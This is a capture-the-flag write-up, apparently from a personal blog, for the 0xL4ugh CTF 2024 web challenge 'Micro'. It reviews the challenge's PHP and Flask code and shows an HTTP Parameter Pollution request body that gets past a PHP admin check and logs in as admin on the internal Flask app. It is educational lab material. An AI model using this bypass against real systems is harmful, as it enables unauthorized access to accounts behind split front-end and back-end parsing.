siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Micro

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

Remember Bruh 1,2 ? This is bruh 3 : D
login with admin:admin and you will get the flag :*

Link

Enumeration

Home page:

In here, we can see that the index page is a login page.

We can try to enter some dummy credentials in it and see what will happen:

Upon submission, if the credential was incorrect, it’ll return: Response from Flask app: Invalid credentials.

Burp Suite HTTP history:

When we clicked the “Login” button, it’ll send a POST request to / with parameter username, password, and login-submit.

Hmm… There’s no much we can do, let’s read the source code.

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/0xL4ugh-CTF-2024/Web/Micro)-[2024.02.11|15:05:41(HKT)]
└> file Micro_togive.zip 
Micro_togive.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/0xL4ugh-CTF-2024/Web/Micro)-[2024.02.11|15:05:43(HKT)]
└> unzip Micro_togive.zip 
Archive:  Micro_togive.zip
  inflating: init.db                 
  inflating: init.sh                 
   creating: src/
  inflating: src/index.php           
  inflating: app.py                  
  inflating: Dockerfile              

After reading the source code for a little bit, we can know that this web application is running PHP and Python’s Flask.

Let’s dig through the PHP code first!

In src/index.php, we can see how the back-end processes our login POST request:

[...]
if(isset($_POST['login-submit']))
{
    if(!empty($_POST['username'])&&!empty($_POST['password']))
    {
        $username=$_POST['username'];
        $password=md5($_POST['password']);
        if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!=="127.0.0.1")
        {
            die("Admin Login allowed from localhost only : )");
        }
        else
        {
            send_to_api(file_get_contents("php://input"));
        }   

    }
    else
    {
        echo "<script>alert('Please Fill All Fields')</script>";
    }
}
[...]

When POST parameter login-submit, username, and password is provided, it’ll check the username is an admin user, and the request is from localhost:

[...]
function Check_Admin($input)
{
    $input=iconv('UTF-8', 'US-ASCII//TRANSLIT', $input);   // Just to Normalize the string to UTF-8
    if(preg_match("/admin/i",$input))
    {
        return true;
    }
    else
    {
        return false;
    }
}
[...]

In function Check_Admin(), it first normalizes the username to UTF-8 characters. Then, using the PHP function preg_match() to check the username against a regular expression pattern, which finds the word admin (Case insensitive). If it’s matched, return true.

So, it seems like we need to authenticate as an admin user with admin username?

However, even if we do that, how can we bypass the localhost filter? Plus, assume after we authenticated as admin user and passed the localhost check, the PHP application will just do nothing…

Hmm… Anyways, what’s that function send_to_api() doing?

In PHP’s built-in function file_get_contents(), it’s used to read the contents of a file into a string. In this case, the argument is "php://input".

Uhh… What’s that php://input? According to PHP documentation, the php://input wrapper is to read raw data from the request body. With that said, it parses our POST request body (like POST parameter username, password, and login-submit) to function send_to_api()!

Let’s take a look at the function send_to_api():

[...]
function send_to_api($data)
{
    $api_url = 'http://127.0.0.1:5000/login';
    $options = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => $data,
        ],
    ];
    $context = stream_context_create($options);
    $result = file_get_contents($api_url, false, $context);
    
    if ($result !== false) 
    {
        echo "Response from Flask app: $result";
    } 
    else 
    {
        echo "Failed to communicate with Flask app.";
    }
}
[...]

In here, it’s sending a POST request to localhost port 5000 endpoint /login with our login POST request body!

Hmm… Port 5000, that’s the default port in Flask, and based on the echo expression, the PHP back-end is communicating with the internal Flask app.

Speaking of the Flask app, let’s read its source code!

In route /login, we can see the logic behind the /login endpoint:

[...]
@app.route('/login', methods=['POST'])
def handle_request():
    try:
        username = request.form.get('username')
        password = hashlib.md5(request.form.get('password').encode()).hexdigest()
        # Authenticate user
        user_data = authenticate_user(username, password)

        if user_data:
            return "0xL4ugh{Test_Flag}"  
        else:
            return "Invalid credentials"  
    except:
        return "internal error happened"
[...]

As you can see, if we are authenticated, it returns the flag!

But how the internal Flask app authenticate users?

[...]
# MySQL connection configuration
mysql_host = "127.0.0.1"
mysql_user = "ctf"
mysql_password = "ctf123"
mysql_db = "CTF"

def authenticate_user(username, password):
    try:
        conn = mysql.connector.connect(
            host=mysql_host,
            user=mysql_user,
            password=mysql_password,
            database=mysql_db
        )

        cursor = conn.cursor()

        query = "SELECT * FROM users WHERE username = %s AND password = %s"
        cursor.execute(query, (username, password))

        result = cursor.fetchone()

        cursor.close()
        conn.close()

        return result  
    except mysql.connector.Error as error:
        print("Error while connecting to MySQL", error)
        return None
[...]

Hmm… It’s using MySQL to fetch one record from table users. Also, it’s using prepared statement, so it’s not vulnerable to SQL injection.

In this challenge description, it said:

login with admin:admin and you will get the flag :*

Which means we need to authenticate as user admin with password admin.

Wait… How can we authenticate as user admin without passing the check on the PHP side??

Ah ha! HTTP Parameter Pollution (HPP) between PHP and Flask!

Note: For more details about HPP, I’d recommend a YouTube video made by PwnFunction: HTTP Parameter Pollution Explained

According to HackTricks, we can see that there’re some weird parameter parsing between PHP and Flask. Assume the POST request body is like this: username=admin&username=foobar.

Hence, Flask will parse the first duplicated parameter value, whereas PHP parses the second one.

Exploitation

Armed with above information, we can exploit HPP to be authenticated as user admin in Flask WITHOUT getting passed with the check in PHP!

POST / HTTP/1.1
Host: 20.115.83.90:1338

username=admin&username=foobar&password=admin&login-submit=

Nice! We successfully authenticated as user admin!

Conclusion

What we’ve learned:

  1. HTTP Parameter Pollution (HPP)